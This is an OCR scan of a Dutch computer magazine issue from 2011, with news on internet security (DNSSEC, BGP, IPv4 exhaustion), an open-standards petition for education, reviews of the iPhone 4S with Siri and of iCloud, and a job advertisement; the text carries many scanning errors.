nal Internet Registries (RIR), Deze 
organisaties zorgen onder meer 


voor de toewijzing en registratie 
van IP-adressen. Op het moment 
van schrijven heeft RIPE in Am¬ 
sterdam, de RIR die verantwoorde- 
lijk is voor onder meer Europa en 
Rusland, nog maar 201.000 IPv4- 
adressen te vergeven. Zijn die op 
- wat volgens RIPE eind 2011 het 
geval is - dan kan de organisatie 
daarna alleen nog IPv6-adressen 
uitgeven. Owen DeLong verwacht 
de eerste echte problemen met 
lPv4-adressen al februari 2012. 

Niet alleen DeLong sprak over 
verschlllende aspecten van inter¬ 
net bevei I Iging. Olaf Kolkman, di- 
recteur van NLnet Labs, besprak 
de implementatie van DNSSEC 
Deze uitbreidingsset voor DNS 
zorgt ervoor dat een client er 
zeker van kan zijn dat de server 
waarmee hij wil communiceren 
ook daadwerkelijk die server is. 
Kolkman: "DNSSEC kun je verge- 
lijken met een verzegelde enve¬ 
lop. De ontvanger kan er daar- 
door zeker zijn dat de informatie 
authentlek Is" Daarmee kun je 
blackhat-, spoofing- of man-in- 
the-middle-aanvallen voorkomen. 
Inmiddels heeft 25 procent van de 
Top Level Domains (TLD) DNSSEC 
al geTmplementeerd. 


Benno Overelnder, senior research 
engineer bij NLnet Labs, ging dia¬ 
per in op de gebreken van het 
Border Gateway Protocol (BGP), 
Overeinder noemde als voorbeeld 
de onbereikbaarheid van YouTube 
in 2008. Pakistan wilde deze site 
alleen voor de eigen bevolking 
afsluiten, maar door een paar on- 
gelukkige keuzes van een Pakis- 
taanse ISP ging YouTube wereld- 
wijd bijna een uur op zwart. Om 
zulke problemen te voorkomen, 
heeft het IETF de taakgroep Secure 


Inter-Domain Routing (SIDR) in het 
leven geroepen. Deze taakgroep 
ontwikkelt een methode om de 
authenticiteit van de herkomst 
van de tP-prefix en de netwerk- 
rou ting pad en te garanderen. In¬ 
middels probeert SIDR de Resour¬ 
ce Public Key Infrastructure (RPKI) 
te standaardiseren. Dat is een 
framework voor het beveiligen 
van de routinginfrastructuur van 
het internet, Een RPKI-pilot om het 
framework te testen draait inmid¬ 
dels bij Surfnet (jsc) 


Petitie tegen gesloten standaarden onderwijs-ICT 


Onlangs startte open sou rce-voor- 
vechter Jan Stedehouder op zijn 
website wwwjanstedehouder, 
nl de online petitie 'Weg met het 
overgewicht in Nederlandse on- 
derwijs ICT. Hij doet daarin een 
oproep aan de overheid om het 
gebruik van gesloten standaarden 
in de onderwIjs-ICT aan te pakken. 
Doordat sommige onderwijshulp- 
middelen alleen met gesloten 
standaarden werken, dreigt vol¬ 
gens Stedehouder een deel van de 
Nederlandse jeugd buften de boot 
te vallen. 

Stedehouder is geen onbeken- 
de In de onderwijs-ICT. Hij heeft 
tien jaar In het onderwijs gewerkt, 
waarbij hi] onder meer betrokken 
is geweest bij verschlllende ICT- 
projecten. In 2007 werd Stedehou¬ 
der onder meer als journalist en 
publicist actief in de opensource- 
wereld. Het eerste onderwerp dat 
hij oppakte was het probleem van 
de ICT in het onderwijs. Met een 
open brief aan de Nederlandse 
Mededingingsautoriteit (NMa) 
probeerde hij de extreme afhan- 
kelijkheid van het onderwijs aan 
gesloten standaarden aan de kaak 


te stellen. "Vier jaar later bestaan 
de problemen nog steeds en dat 
is erg jammer" aldus Stedehouder. 

De directe aanlelding voor de 
petitie was het zoveelste bericht 
over problemen met Magister en 
het gebruik van Silverlight. "Ik zat 
op dat moment ziekthuis, had een 
laptop bij de hand en een half uur- 
tje later stond er een column over 
dit probleem online'Wertelt Stede 
houder. De column leverde een 
pittige discussie op en kreeg aar- 
dig wat bijval. "Daarom besloot ik 
om een open brief aan deTweede 
Kamer te schrijven en deze online 
te zetten. Veel mensen gaven aan 
de brief ook te willen onderteke- 
nen en daarmee was de petitie 
een feit." 

Met de petitie wil Stedehouder 
een aantal fundamentele proble¬ 
men aanpakken. Onderwijsinstel- 
lingen rollen volgens hem online 
schoolomgevingen uit zonder 
goed na te denken over de toe- 
gankelijkheid daarvan. Hij ziet in 
de praktijk dat open standaarden 
en platformonafhankelijke toe- 
gang niet worden meegenomen 
bij de inkoopbeslisslng. "Het ge- 


volg daarvan is dat men voor ICT- 
oplossingen kiest waarmee groe- 
pen ieeriingen buiten de virtuele 
deur worden gehouden. Leer I In- 
gen, studenten en ouders die wel 
innovatcef met technologie aan 
de slag gaan en hierover k la gen, 
krijgen te horen dat ze maar een 
normale computer moeten kopen. 
Met name dat laatste is onaan- 
vaardbaar." 

Stedehouder vindt dus dat die 
praktijk moet ophouden en daar¬ 
om wil hij dat de overheid mini- 
maal twee fundamentele zaken 
goed gaat regelen. Alle (semi-) 
publieke instellingen moeten vol¬ 
gens hem verplicht worden om 
gebruik te maken van open stan¬ 
daarden. "Dat IS a I onderdeel van 
het actieplan Nederland Open in 
Verbinding. Het wordt tijd dat de 
regering haar eigen beleid handen 
en voeten geeft en gaat toepas- 
sen op alle Instellingen die met 
publieke middelen worden gefi- 
nanderd, inclusief het onderwijs" 
Het tweede dat Stedehouder wil 
veranderen is dat alle online om- 
gevingen van instellingen in de 
(semi-)publieke sector platformon- 


afhankelijk roegankelljk zijn. "Dat 
betekent dat tedereen, ongeacht 
zijn of haar apparaat volledig en 
probleem I DOS toegang heeft tot 
de informatie. Dat kan alleen met 
open standaarden." 

Maar wat zijn nou eigenlijk de 
beoogde voordelen van zulke 
open standaarden? Stedehouder 
somt ze kort op: "Ze bevorderen 
de interoperabilitert van syste¬ 
men en de uitwlsselbaarheid van 
gegevens en bieden ruimte aan 
de innovatieve ontwfkkeling van 
nieuwe toepassingen. Als je open 
standaarden gebruikt, is het mak- 
kelijker om systemen met elkaar te 
laten 'praten' en dalen de kosten 
van digitale transacties." Stede¬ 
houder meent dat gesloten stan¬ 
daarden kostenverhogend wer- 
ken, Interoperabiliteit verhinderen 
en gebrulkers 'binden' aan specl- 
fieke leveranders. "Overheden en 
het bedrijfsieven merken dat ook 
en hun steun aan gesloten stan¬ 
daarden neemt daardoor eerder af 
dan toe. De komende jaren zdlen 
gesloten standaarden in toene- 
mende mate vervangen worden 
dooropen standaarden." (jsc) 
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Nieuws I iPhone 4S 


Ole Meiners, Stephan Ehrmann 

Begin van een 
nieuw tijdperk? 

De Apple iPhone 4S met spraakbesturing 

Op 14 oktober kwam Apples nieuwe smartphone op de markt in de VS en 6 
andere landen, op 28 oktober voigden nog 22 fanden, waaronder de Benelux. 
Naast features afs een snelle AS-dualcoreprocessor, betere graphics, een 
betere camera en iOS 5, is de meest spectaculaire vernieuwing toch wel een 
persoonlijke assistente die doet wat je vraagt. 


D e persconferentie voor de presenta- 
tie van de iPhone 4S op 4 oktober 
was meteen het offidele debuut 
van Tim Cook als CEO van Apple. Nog wat 
houterig maar zelfverzekerd nam hij voora! 
de rol van presentator op zich en liet hij de 
belangrijke presentaties over aan zijn mar- 
ketingchef Phil Schiller en iOS-hoofdont- 
wikkelaar Scott ForstalL 

Van buiten lijkt de nieuwe (Phone 45 als 
twee druppels water op de IPhone 4 en is 
hij eveneens verkri|gbaar in de twee kleur- 
varianten wit en zwart. Ook het display is 
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hetzelfde gebleven* Naast het instapmodei 
met 16 GB geheugen komen er toesteilen 
met 32 en voor het eerst ook met 64 GB 
op de markt. Zonder abonnement begin- 
nen de prijzen bij 629 euro, een toeste! met 
32 GB kost 739 en met 64 GB 849 euro. In 
de praktijk is 16 GB meestai genoeg, als je 
tenminste geen honderden foto’s, massa's 
muzieknummers en veel video’s bij je wilt 
hebben. 

De 4S krljgt als eerste Apple-apparaat 
van huts uit iOS 5 mee, Oudere modellen 
tot aan de 3GS, de iPad 1 en de derde ge¬ 
nerate iPod touch kunnen via een gratis 
update eveneens een stap in de toekomst 
maken. iOS 5 koppelt de hardware los van 
iTunes en maakt iOS-updates en back-ups 
'over the air’ mogelijk, dus via WLAN. 

Wat 2it er in 

De iPhone 4S beschikt net als de iPad 2 over 
de A5-dualcoreprocessor, die zo’n twee keer 
snelier is dan de A4. Hij is met 800 MHz wel 
lager geklokt dan de AS In de iPad 2 (1 GHz), 
net als zijn systeembus: 200 MHz {iPad 2: 
250 MHz). Dit Is waarschijnlijk gedaan van- 
wege het energieverbruik. De A4-cpu in de 
IPhone 4 draait op 1 GHz, Maar de A4 is als 
singlecoreprocessor toch een stuk langza* 
mer dan de duaicore A5. Bovendien draait 
hier de systeembus met 100 MHz maar half 
zo snel. 

De koude start is verbeterd, Bij de iPhone 
4S duurde het 34 seconden eer hij opge- 
start was, tegenover 42 bij de iPhone 4, 
Apps starten op de nieuwe telefoon snel- 
len scrollen soepeler en reageren viotter. 
Games worden niet alJeen snelier, maar kun¬ 
nen ook meer details weergeven en zien er 
daardoor mooler en realistischer uit. In de 
AS zit de grafische processor PowerVR SGX 
543MP2, die tot zes maal snelier rendert dan 
de GPU in de A4 Het werkgeheugen is niet 
uitgebreid en is 512 MB groot, net als in de 
iPhone 4 en de iPad 2, Dit is waarschijnlijk 
eveneens gedaan om energie re besparen. 
In de praktijk is 512 MB meestai voldoen- 


de, maar 1 GB RAM {zoals bij de moderne 
Android-smartphones) zou vooral voor 
zwaardere apps beter zijn omdat die door 
geheugengebrek nogal eens willen crashen. 

De frontside-camera is met 640 x 480 
pixels (VGA) hetzelfde gebleven, wat ge¬ 
noeg is voor videotelefonie (FaceTime). De 
camera aan de achterkant is er duldelljk op 
vooruit gegaan en heeft niet alleen een ho- 
gere resolutie (8 in plaats van 5 megapixels), 
maar ook een beter objectief met vijf len- 
zen en volgens Apple een lichtgevoellger 
1/3'’-sensor, Zowei testfoto’s die in de studio 
onder ideale lichtomstandigheden gemaakt 
zijn als foto's in de vrije natuur bij zonllcht 
en binnenopnamen met en zonder flits 
zien er beter en realistischer uit. De kleuren 
zijn stralend en onderscheiden zich duide- 
lljk van elkaar, details komen scherper naar 
voren. Afgezien van het ontbreken van een 
zoomobjectief en de nog even zwakke flit- 
ser, kan de IPhone 45 de kwallteit van een 
gemiddelde compactcamera bijna evena- 
ren. 

De beeldbewerkingsroutines van de AS 
lijken afhankelijk van motief, kleuren en be- 
lichtlng soms wat te ijverig te werk te gaan. 
Een kindergezicht voor een aquarium vol 
gekleurde vissen kreeg een duidelijke geel- 
zweem, terwljl hetzelfde motief er op de 
iPhone 4 natuurlijker uitzag, Maar na een 
extra fotobewerking zag het eindresultaat 
van de iPhone 45-foto er dan wel weer beter 
uit. 

De iPhone 45 kan video's nu in Full-HD 
(1080p) opnemen. Dat is overigens niet uit 
te schakelen om bijvoorbeeld opslagrulmte 
te sparen. Ook In filmpjes komen details en 
kleuren beter uit de verf dan bij de iPhone 4. 
De 4S heeft bovendien een digttale beeld- 
stabllisator, waardoor opnamen rustiger 
worden. Je mag geen wonderen verwach- 
ten, maar het resultaat is absoluut beter. Het 
trillen van je hand wordt door de beeldsta- 
bilisator grotendeels gecompenseerd. 

De weergavekwaliteit van het display en 
de gemeten helderheld (470 cd/m^) zijn ten 
opzichte van de IPhone 4 (480 cd/m^) nau- 
welijks veranderd. 

De mobiele dataverbindingen zijn snelier 
geworden, maar HSPA+ (3,5 G) en LIE (4G) 
worden nog niet ondersteund. Dat laatste 
is geen halszaak, omdat de Infrastructuur 
daarvoor nog jaren op zich laat wachten. De 
4S downloadt gegevens bij de juiste infra¬ 
structuur met 14,4 Mbit/s (HSPDA) nu twee 
keerzo snel van internet en verstuurt ze net 
als voorheen met 5,8 Mbit/s. Bij de nieuwe 
iPhone wordt ook geen onderscheid meer 
gemaakt tussen een model voor het GSM- 
en voor het Amerikaanse CDMA-netwerk. 
De nieuwe baseband-chip van Qualcomm 
verstuurt zijn draadloze gegevens in beide 
netwerkstandaarden, wat handig is voor 
mensen die veel reizen. 

Na de slechte ervaringen met de GSM- 
antenne bij de iPhone 4 (in de media be- 
kend als ’antenna-gate') heeft Apple bij 
het nieuwe model een extra gsm-antenne 
ingebouwd. Als je de iPhone 4 namelijk op 
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De IPhone 4S (links) is alleen van zijn voor- 
ganger te onderscheiden door het extra 
zwarte streepje in de rand. 


een bepaalde manler vasthield, warden de 
antennes voor Bluetooth, WLAN en GPS aan 
de linkerrand kortgesloten met die voor 
gsm aan de rechterrand en daalde de ont- 
vangstkwalitelt dramatisch. De iPhone 4S 
kan naar believen switchen tussen de twee 
gsm-antennes en steeds die met de beste 
ontvangst gebruiken. Hierdoor blijft de ont- 
vangstkwaliteit onveranderd, hoe je het toe- 
stel ook vasthoudt Daarmee is de beruchte 
'death grip' nti voorgoed verleden tijd, De 
extra antenne is ook te herkennen aan het 
extra zwarte streepje aan de linkerrand van 
de behuizing- Hierdoor wordt de metalen 
rand opgedeeld in vier segmenten in plaats 
van drie. 

Wifr-netwerken op de 5GHz-band worden 
nog steeds niet ondersteund. Maar Blue¬ 
tooth 4.0, dat vooral minder energie ver- 
bruikt, is al wel ingebouwd. 

De accu heeft met 5,3 wattuur lets meer 
vermogen dan die van de iPhone 4, maar 
houdt het niet zo lang uit. Bij alleen tele- 
foneren en het bekijken van een video in 
de Vliegtuig-modus hield hij er telkens een 
uur eerder mee op dan de iPhone 4 (10,8 h 
tegenover 11,8 h, gemeten bij een helder- 
heid van 200 candela). Bij een realistischer 
gemengd gebruik met in totaal 33 minu- 
ten bellen, 1,7 MB aan verzonden en 1,9 


MB aan ontvangen data tiet ons testappa- 
raat na 6:23 uur een restcapadteit van 9 % 
zien. Tot dan toe had hij ailes bij elkaar een 
dag en een uur in stand-by doorgebracht. 
De 4S moet dus vaker aan de opiader dan 
zijn voorganger. Dat ligt niet alleen aan de 
zwaardere hardware, maar ook aan het feit 
dat UMTS niet meer uitte schakelen is. 

Talk to me 

De nieuwe 'persoonliike assistente' Sir! is 
Apples grootste verkoopargument voor 
de IPhone 4S. AIs je Siri in de Algemene in- 
stellingen hebt ingeschakeld, verschijnt er 
na het Indrukken en even vasthouden van 
de homeknop een microfoonpfctogram 
en klinkt er een toon. Dan kun je spreken 
en vervolgens klinkt er een hogere toon 
en wordt de invoer verwerkt. Helaas be- 
grijpt Siri alleen nog Engels, Duits en Frans. 
In 2012 volgen Spaans en Italiaans. In Ne¬ 
derland hebben we er daarom niet zoveel 
aan. Dat is ook meteen de reden dat deze 
spraaktechnologie op de Amerikaanse en 
Duitse websfte van Apple als de topfeature 
van de iPhone 4S gepromoot wordt en op 
de Nederlandse Apple-site voiledig wordt 
verzwegen. Of Siri na volgend jaar ook het 
Nederlands zal gaan beheersen is nog on- 
bekend. Maar als Engels praten geen pro- 
bleem is, kun je met Siri aan de slag en de 
taalinstelling voor de rest van de iPhone 
gewoon op Nederlands laten staan. Je kunt 
in normale volzinnen tegen Siri praten, bij- 
voorbeeld "How much is one US-dollar in 
euros?" Deze vraag geeft Siri dan door aan 
Wolfram Alpha. Deze zoekmachine beant- 
woordt ook vragen als hoeveel dagen het 
nog is tot kerstmis, hoe de Amerikaanse 
president heet of hoeveel inwoners Neder¬ 
land heeft. De kaart- en navigatiefunctles 
zijn in combinatie met Siri hier niet te ge- 
bruiken omdat ze beperkt zijn tot Amertka, 
Maar opdrachten als "Wake me tomorrow 
morning at 7 AM" werkt net zo goed als 
"Remind me to buy flowers on Friday" Siri 
verstaat ook commando's als "Show me the 
address of Lisa Doolittle" of "Play Perfect 
Day". En als Je vraagt "What appointments 
do I have today" krijg je van de beleefde 
vrouwenstem het aantal agendapunten te 
horen en krijg je die ook op het scherm te 
zien. "Write an email to Simon" is ook mo- 
gelijk - je kunt Siri namelijk ook e-mails 
dicteren. Siri laat je zo nodig kiezen uit 
verschillende opgeslagen e-maitadressen 
("Which address?") en vraagt naarde onder- 
werpregel. Bij de volgende stap vraagt Siri 
wat er in de e-mail moet komen te staan. 
Je dicteert een zin, zonder op een bepaal¬ 
de uitspraak of pauzes tussen de woorden 
te letten en je krijgt twee, drie seconden 
later het resultaat ter goedkeuring op het 
display te zien. Als je onduideiijk spreekt, 
zegt het systeem beleefd: "Sorry, I don't 
understand". Zelfs bij achtergrondgefuiden 
lijkt de spraakherkenning goed te functi- 
oneren. Siri kan ook nieuwe dingen leren. 
Als je bijvoorbeeld eerst "Betty is my wife" 


zegt en later: "Write a textmessage to my 
wife", antwoordt Siri met: "OK I can send a 
text to Betty for you....what would you like 
It to say?" Bellen gaat op dezelfde manier: 
"Call Simon Peters". Siri heeft ook een ant- 
woord op persoonlijke en onzinnige vragen 
"What is the meaning of life?" beantwoordt 
ze met "42" en "How old are you?" met "I 
don't see why that should matter" Ook voor 
het dicteren van stukken tekst is Siri ide- 
aal, eike app die het virtuele toetsenbofd 
van Apple gebruikt krijgt automatisch de 
nieuwe microfoonbutton. Je kunt Siri ge- 
bruiken terwiji je de telefoon tegen je oor 
houdt. Zolang het beetdscherm actief is, 
start Siri dankzij de nabijheidssensor au¬ 
tomatisch, Je hoort het antwoord dan niet 
via de luidspreker, maar in je oor. Als je een 
internetabonnement met databundel hebt, 
moet je er wel rekening mee houden dat 
Siri veel dataverkeer genereert, Tljdens een 
treinreisje klokten we voor een paar sms'jes, 
iMessages en e-mails via Siri 1,3 MB aan ont¬ 
vangen data en 1,5 MB aan verzonden data. 
Dat is meer dan je normaal bij het surfen In 
dezelfde tijd verbruikt. 

Siri verkeert volgens Apple nog in het 
betastadium en dat is heel af en toe te mer- 
ken. Zo komt het welllcht ook dat e-mails 



Het moederbord Is flink onder handen 
genomen, Niet alleen de A5-chip inclusief 
grafische unit is nieuw, maar onder meer 
ookde communicatiechip en de camera. 
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Siri verstaat gewone volzinnen en ant- 
woordt met een combinatie van spraak en 
weergaven op het scherm. 

niet kunnen worden voorgelezen en geen 
adressen kunnen worden aangemaakt. Je 
kunt via Sir) ook maar een paar door Apple 
ondersteunde apps starten en afsluiten. 
Subjectief gezien komt de kwaliteit van de 
woordherkenning overeen met die van de 
Dragon-apps voor iOS. Waarschijnlijk heeft 
Apple met Nuance samengewerkt om de 
herkenning van het anderhalf jaar geteden 
overgenomen Siri-systeem te optimal iseren. 
Bij de spraaksturing biedt het veel meer dan 
elke andere mobiele oplossing die we ken- 
nen. Er schijnt inmiddeis al een veiligheids- 
iek te zijn dat nog opgelost moet worden. 
Wanneer de iPhone gelocked is, kun je Siri 
toch opdrachten geven, die ze dan prompt 
uitvoert. Het is dan bijvoorbeeld mogelijk 
om in een onbewaakt moment via iemands 
iPhone zijn eigen ontslagmail te iaten sturen 
naar zijn baas ... 

Maar het heeft er wel a lie schijn van dat 
Apple met Sir! opnteuw een standaard zet 
en een nieuw tijdperk betreedt, net zoals 
destyds met de multitouch bed iening. Voor 
het Android-platform is a I de Siri-kloon Iris 
verschenen en andere zullen dit voorbeeld 
hoogstwaarschijnlijk snel volgen. 

iOS 5 

Natuurlijk wordt de iPhone 45 a I met het 
nieuwe bestyringssysteem afgeleverd. Bezit- 
ters van andere i-devices kunnen iOS 5 sinds 
12 oktober gratis downloaden. Je hebt er mi- 
nimaaf een iPhone 3GS, een iPod touch van 
de derde generatie of een iPad voor nodig. 
Een gebfuikersaccount bij Apple blijft een 
must maar vanaf iOS 5 kunnen iOS-appa- 
raten ook zonder usb-verbinding met een 


■ti_ Vodafone ML ^ 23:17 ^ 113 

Tap the mic to say things like: 

^ Call Jason 

Rione 

Play The Light of the Sun 

FFod/Music 

Tell Susan Til be right there 

■ Set up a meeting at 9 

■ Remind me to call mom 
How do J get home? 

and Direction a pJ.S, Onlyl' 


Email Usa about the trip 



De help van Siri geeft voorbeelden, je kunt 
ze tapper voor meer details. 


Wrndows-pc of Mac waar iTunes op draait, 
direct na invoer van de AppleHD geactiveerd 
en gebruikt worden, 

Dat is slechts e^n stap op weg naar de 
draadloze vrijheid: ook systeem updates 
kunnen voortaan direct op het i-device zelf 
worden ontvangen en geinstalleerd. iOS 
5-gebruikers kunnen hun media nu ook via 
wih tusser> de computer en de smartphone 
of de tablet synchroniseren in plaats van 
via een usb-verbinding. De muziek, video's, 
podcasts etc die Je in de ITunes Store hebt 
gekocht, kun Je net zo vaak van de Apple- 
servers downloaden als je wilt 'iTunes in de 
cloud' biedt bovendien een optie om a lie 
gekochte content automatisch op al je iOS- 
apparaten te zetten. Over iCIoud kun je lezen 
vanaf pagina 26. 

De dagen van de WebDAV-opsiagruimte 
iDisk met ztjn automatische synchronisa- 
tie op Macs en pc's lijken geteid. Zoals de 
zaken er nu voor staan, trekt Apple daar 
volgend jaar zomer de stekker uit. De op- 
volger wordt 'Documenten in de cloud'. 
Bestanden die op de iPhone werden ge~ 
maakt 'pushf Apples cloud naar alle ande- 
ren verbonden apparaten. Als je gegevens 
verandert, start de synchronisatie opnieuw. 
Dat werkt a I met Pages, Number en Key¬ 
note. Ook third party-aanbieders zijn bezig 
hun apps met updates geschikt te maken 
voor iCIoud. 

App-grade 

Het nieuwe systeem integreert de populaire 
sms-dienst Twitter en Apple vult de Berich- 
ten-app (iMessage) voor SMS en MMS in iOS 
5 aan met een eigen diensL Gebruikers kun¬ 


nen via Berichten (Messages) gratis bericht- 
jes uitwisselen met andere iOS S-gebruikers. 
Dat gaat via de push-service. De Serichten- 
app herkent hierblj automatisch of een be- 
richtje naar eeo compatibeie communica- 
tiepartner wordt gestuurd. Als dat niet het 
geval is, verstuurt hij transpara nt voor de 
gebruiker een normale sms “ bijvoorbeeld 
als deze geen wifi-verbinding heeft. 

Apple heeft de functies waarmee ser¬ 
vices en apps van third party-aanbieders 
korte berichten op het begin- en toegangs- 
scherm weergeven, grondig herzien. Met 
iOS 5 kun Je bovendien de laatste e-mails in 
een preview lezen en het lokale weer en de 
beurskoersen in de gaten houden. De push- 
beiichten worden tijdens gebruik discreet 
aan de bovenrand van het scherm weerge- 
geven. 

Een nieuwe app waar veel gebruikers 
lang naar hebben uitgekeken, is de Herin- 
neringen-app (Reminders): je kunt taken 
en boodschappenlijst|es aan locaties kop- 
pelen en je op die manier bijvoorbeeld bij 
een bezoek aan de pfaatselljke bouwmarkt 
aan de aanschaf van speclaal gereedschap 
iaten herinneren. iCIoud synchroniseert de 
entries met de online agenda en iCal op de 
Mac of Outlook op de pc. Nieuw is ook de 
Kiosk-app (Newsstand), die nu alle kranten 
en tijdschriften die je via de App Store hebt 
gekocht centraal moet bundelen. 

Apple heeft flink gesleuteld aan Safari, 
Mail en Agenda en veel functies van de 
Mac-programma's ingebouwd. Bij Safari 
is dat bijvoorbeeld de leesfunctie 'Reader', 
de 'Privemodus' zonder opslag van login- 
gegevens of cookies en de Teeslijst' voor 
het markeren van interessante online-arti- 
kelen. In Mail kun je nu meerdere berichten 
in een keer als gelezen of ongelezen mar¬ 
keren en er een vlaggetje aan hangen, En 
ook de tekst in nieuwe maiitjes kun je nu 
op maken (vet, cursief, onderstreept). De 
Agenda biedt nu een Jaaroverzicht op de 
iPad en een weekoverzicht op de (Phone/ 
iPod touch, in liggend formaat. 

Conclusie 

Zelfs met een Engelstalige assistente zulten 

de sterk verbeterde camera en de A5-chip 
met geintegreerde turbo-graphics al vol- 
doende stimulans zijn voor een overstap 
naar de iPhone 4S. Ongetwijfeld is Siri het 
grooTste nieuwtje en is het dan ook met 
smart wachten op een Nederlandse taal- 
module voor deze charmante assistente. 
Siri is nog lang niet perfect, maar heeft een 
enorme potentie om zich tot een nieuwe 
manier van bediening te ontwikkelen naast 
touchscreen. Eindelijk een computer die op 
normaal gesproken opdrachten op een nor¬ 
male manier reageert CTm sorry, Dave, I'm 
afraid I can't do thaC). Dat de iPhone 4S een 
succes wordt, bewijzen de verkoopcijfers 
van 4 miljoen verkochte toestellen in het 
eerste weekend af een nieuw record, (jmu) 

% SomhktlJlQZI 
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Bureauredacteur c't 


Functieomschrijving: 

c't magazine is toonaangevend op het gebied van 
informatietechnologie en wordt zeer gewaardeerd 
door profess ion el e en ervaren computergebruikers. 
Teraanvuiling van de redactie zijn we op zoek naar een 
gedreven collega met een grote affiniteit voor technologic 
en schrijven. Het betreft een uitdagende functie met een 
grote mate van zelfstandigheid.Tot de werkzaamheden 
behoren het schrijven van nieuwsberichten, afnemen 
van interviews, bezoeken van bedrijven, persconferenties 
en beurzen (zowel in binnen- ats buitenland), het 
reviewen van nieuwe hard- en software en het vertalen 
en lokaliseren van teksten (met name Du its en Engels 
bronmateriaal). 

Je werkt in een team van acht redacteuren, een 
hoofdredacteur en een DTP'er mee aan het maken van het 
meest toonaangevende computertijdschrift van Nederland en 
Belgie. Het betreft een functie op fulltime basis (38 uur/week) 
met uitzicht op een vast contract. 

Als aanvulltng op je sollicitatie ontvangen wij graag een 
digitaal portfolio met zelfgeschreven teksten. 


Functieeisen; 

■ Grote affiniteit met IT / ICT in het algemeen; 

■ Zeer goed gevoel voor de Nederlandse taal; 

■ Goede kennis van Duits en Engels, Je bent in staatom teksten 
vanuit het Duits en Engels naar het Nederlands te vertalen; 

■ HBO werk- en denkniveau, blj voorkeur een afgeronde 
opieiding richttng journalistiek of informatica; 

• Je beschikt over goede communicatieve vaardtgheden, zowel 
mondeling als schriftelijk; 

• Redactionele (werk)ervaring als Journalist / redacteur/ 
webredacteur / bureauredacteur is een pra 


Wij bieden; 

• Een uitdagende functie die sterk werkgroepgericht is; 

•Een goed marktconform salaris, passend bij ervaring en 
opieiding; 

•Een informeel marktgericht bedrijf waar Je volop de 
gelegenheid krijgt om door te groeien in je werk; 

• Een uitdagende functie met als streven om taken zelfstandig 
tot een goed einde te brengen; 

• Internationale contacten en een plezierige werkomgeving; 

• Goede secundaire arbeidsvoorwaarden. 


Contactgege ve n s 

Voor meer informatie kun je contact opnemen met de afdeling Personeelszaken, tel. 024-372 35 50. 


F&L Publishing Group B.V. 
Afdeling Personeelszaken 
Postbus 31331 
6503 CH NIJMEGEN 
E-mail; pz@fnl.nl. 




Acquisitie naar aanleiding van deze advertentie wordt met op prijs gesteld 
en brononderzoek kan deel uitmaken van de selectieprocedure. 






















Nieuws I iCloud 


Leonhard Becker 

De vierde wolk 

iCIoud synchroniseert gratis gegevens tussen 
iOS5, Mac OS X en Windows 

Apple heeft zijn online dienst grondig herzien. De basisversie van iCIoud is 
gratis. Stap je over van MobileMe, dan zul je van enkele functies moeten afzien. 


N a iTools, -Mac en MobileMe is ICIoud 
Apples vierde poging en tegelijk de 
nneest ambitieuze om de eigen hard¬ 
en software te verrijken met internetdiensten. 
Apple startte elf jaar geleden al met deze on¬ 
line dienst, maar toen nog alleen voor Mac- 
gebrulkers. Met MobileMe werd de dienst ook 
toegankelijk voor lOS en Windows, iCIoud is er 
veel meer dan de voorgangers op gericht om 
gegevens tussen meerdere apparaten van een 
gebruiker synchroon en op elk moment be- 
schikbaar te houden, Enkele uitzondenngen 
daargelaten kun je geen content met anderen 
delen, 

Je hebt een Apple ID' nodlg om iCIoud 
te gebruiken. Als je in de iTunes Store, App 
Store of Apples online store ooit al lets hebt 
gekocht, heb je al een geldig account. An¬ 
ders kun je je gratis registreren. Om je iCloud- 
account te active re n heb je een iPhone, iPad 
of (Pod touch met iOS 5 of een Mac met OS X 
10,7,2 nodig - Snow Leopard zit daar voorals- 
nog niet bij. Voor gebruikers van Windows 7 of 
Vista biedt Apple een ICIoud control panel in 
het Configuratiescherm, Deze service Run je 
alleen gebruiken als Je ook een Apple-appa- 
raat hebt Bepaalde functies onder Windows 
vereisen Outlook 2007 of 2010 en als browser 
Safari of Internet Explorers, 


Als je Je de eerste keer met een MobileMe- 
account bij ICIoud aanmeldt, zet een wizard 
de gegevens van de oude dienst over naar de 
nieuwe. Daarbij gaan wel enkele synchroni- 
satiediensten van MobileMe verloreni de ge¬ 
gevens van de sleutethanger, instellingen en 
widgets worden niet mee gesynchroniseerd. 
De MoblteMe-onderdelen iDisk, Gallery en 
iWeb-publishlng blijven na de verhuizing nog 
tot 30 juni 2012 beschikbaar, De service Back to 
my Mac' zit ook in iCIoud. Hiermee kun je via in¬ 
ternet bestanden en schermcontent delen met 
een andere Mac met hetzelfde iCIoud-account. 

Zelfmanagement 

Zoiang je gegevens voor e-mail, back-up en 
'Documents in the cloud' onder de 5 GB bilj- 
ven, is iCIoud in tegenstelling tot MobileMe 
gratis. Content uit Apples online winkels en 
Fotostream telien hlerbij niet mee, Een iPhone- 
back-up nam in onze test een kwart of bijna de 
helft van de ruimte in beslag. Als je 10 GB extra 
wilt, kost je dat 16 euro per jaar. Voor 50 GB be- 
taal je 80 euro. De gekochte opslagruimte is te 
alien tijde te up- of downgraden en wordt naar 
rato in rekenlng gebracbt Stapje als MobileMe- 
gebruiker over naar ICIoud, dan kun je tot hal- 
verwege 2012 het geheugen gratis uitbreidea 


Apple heeft onder de naam iCIoud een aantal 
voofzieningen samengevoegd die MobiteMe- 
gebruikers al jaren bekend in de oren klinken. 
Ten eerste is er een IMAP-postvak met push- 
berichten - ook notities worden tussen Apple 
Malt en de iOS-app gesynchroniseerd, Daarbij 
komt nog de synchronlsatle van contacten, 
afspraken en taken bladwijzers uit Safari 
of Internet Explores Her is ook mogelijk om 
via iCloud.com je gegevens te bekijken en te 
bewerken. Agenda en Herinneringen zijn de 
enige voorzieningen die iCIoud-gebruikers 
met elkaar kunnen delen, 

Fotomobiel 

De feature 'Fotostream' is nieuw, Deze voor- 
ziening bewaart foto's die de laatste 30 dagen 
met een iOS-apparaat zijn gemaakt of op een 
Mac- of Windows-computer zijn toegevoegd, 
Alle apparaten waarop je metje iCIoud-account 
ingelogd bent, krijgen automatlsch een kople 
van de nleuwe afbeeldingen. Om afzonder- 
lijke foto's te bewaren, moet je ze in een apart 
album zetten. Mac-gebruikers kunnen met 
fPhoto (vanaf versie 9,2) of Aperture (vanaf ver- 
sfe 32) Fotostream benaderen, Onder Windows 
kun je in de map Afbeeldingen een aparte map 
voor Fotostream maken, Apple TV 2 haalt je 
Fotostream vanaf softwareversie 4.4 eveneens 
automatlsch binnen. Via ICIoud.com zijn de 
foto's uitje Fotostream nlette bekijken. 

Alle snapshots van een iOS-apparaat belan- 
